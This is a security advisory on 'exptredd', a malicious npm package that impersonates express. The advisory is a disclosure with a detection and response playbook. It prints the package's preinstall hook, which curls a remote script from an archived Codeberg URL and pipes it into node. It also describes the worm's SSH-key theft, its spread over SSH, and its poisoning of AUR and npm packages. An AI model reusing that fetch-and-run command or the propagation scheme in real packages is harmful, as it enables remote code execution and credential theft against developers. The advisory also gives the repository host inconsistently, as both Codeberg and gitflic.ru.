exptreddnpm
Advisory published Updated
exptredd is a confirmed malicious npm package (MAL-2026-17247) that steals credentials and exfiltrates sensitive data (malicious versions 5.2.1, 5.2.3, 5.2.4). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in exptredd (npm)
What this malware does
The package exptredd impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.
On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.
[email protected] is published under a name resembling express and ships express's package metadata (description, author, contributors, repository, homepage, keywords, dependency list) verbatim as a cover for a malicious install-time payload. package.json line 98 defines a preinstall lifecycle script that uses curl to fetch an unpinned remote JavaScript file from an anonymous gitflic.ru project (hellscripter/install-scripts) proxied via web.archive.org and pipes the response directly into node, executing attacker-controlled code on the installer's host during npm install. The fetch destination is unrelated to express's publisher, is not pinned by hash or version, and is served over a mutable archive URL whose content the attacker controls. The combination of name-confusion with express, verbatim express metadata as disguise, and an install-time curl|node dropper to a non-publisher host is a confirmed install-time remote code execution against any developer or build system that runs npm install on this package.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for exptredd (3 malicious versions).
If you installed it — respond
exptredd is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If exptredd was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- InvisiRisk, Inc. · finder
- Pranesh, InvisiRisk · finder
- SafeDep · finder
Detect & block this
O3 blocks exptredd-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.